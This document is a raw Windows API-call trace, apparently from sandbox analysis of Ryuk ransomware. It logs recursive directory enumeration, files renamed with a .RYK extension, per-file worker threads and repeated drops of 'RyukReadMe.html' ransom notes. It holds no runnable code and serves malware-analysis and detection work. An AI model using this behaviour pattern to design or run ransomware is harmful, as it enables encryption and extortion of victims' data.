	[0247.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c
	[0247.112] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.113] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x19e, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0247.113] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0247.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488
	[0247.115] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.115] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x19e, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0247.115] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0247.115] SetLastError (dwErrCode=0x0) 
	[0247.115] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484
	[0247.116] GetLastError () returned 0xb7
	[0247.116] CloseHandle (hObject=0x484) returned 1
	[0247.116] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x192, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0247.116] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x192, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0247.116] FindClose (in: hFindFile=0x3efa30 | out: hFindFile=0x3efa30) returned 1
	[0247.116] SetLastError (dwErrCode=0x0) 
	[0247.116] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4
	[0247.116] GetLastError () returned 0xb7
	[0247.116] CloseHandle (hObject=0x4d4) returned 1
	[0247.117] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x186, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0247.117] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x186, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0247.117] FindClose (in: hFindFile=0x3ef8b0 | out: hFindFile=0x3ef8b0) returned 1
	[0247.117] SetLastError (dwErrCode=0x0) 
	[0247.117] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0247.117] GetLastError () returned 0xb7
	[0247.117] CloseHandle (hObject=0x4ac) returned 1
	[0247.117] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0247.117] SetLastError (dwErrCode=0x0) 
	[0247.117] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0247.118] GetLastError () returned 0xb7
	[0247.118] CloseHandle (hObject=0x4ac) returned 1
	[0247.118] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x186, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef8b0
	[0247.118] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x186, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0247.118] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x186, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0247.118] SetLastError (dwErrCode=0x0) 
	[0247.118] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4
	[0247.118] GetLastError () returned 0xb7
	[0247.118] CloseHandle (hObject=0x4d4) returned 1
	[0247.119] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa30
	[0247.119] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0247.119] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0247.119] SetLastError (dwErrCode=0x0) 
	[0247.119] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484
	[0247.119] GetLastError () returned 0xb7
	[0247.119] CloseHandle (hObject=0x484) returned 1
	[0247.119] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0247.120] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0247.120] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0247.120] SetLastError (dwErrCode=0x0) 
	[0247.120] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c
	[0247.120] GetLastError () returned 0xb7
	[0247.120] CloseHandle (hObject=0x46c) returned 1
	[0247.120] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0247.120] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0247.121] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74933560, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0247.121] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0247.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468
	[0247.122] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.123] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74802a60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0247.123] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0247.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0
	[0247.606] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.653] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0247.653] SetLastError (dwErrCode=0x0) 
	[0247.653] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x498
	[0248.137] GetLastError () returned 0xb7
	[0248.138] CloseHandle (hObject=0x498) returned 1
	[0248.138] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ce, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0248.138] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ce, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.138] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74a17da0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x1ce, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0248.138] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c
	[0248.200] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.200] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ce, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.200] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ce, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0248.201] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0248.201] SetLastError (dwErrCode=0x0) 
	[0248.201] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x498
	[0248.201] GetLastError () returned 0xb7
	[0248.201] CloseHandle (hObject=0x498) returned 1
	[0248.201] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x746399e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x746399e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.201] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74b488a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0248.201] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498
	[0248.205] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.206] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0248.206] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
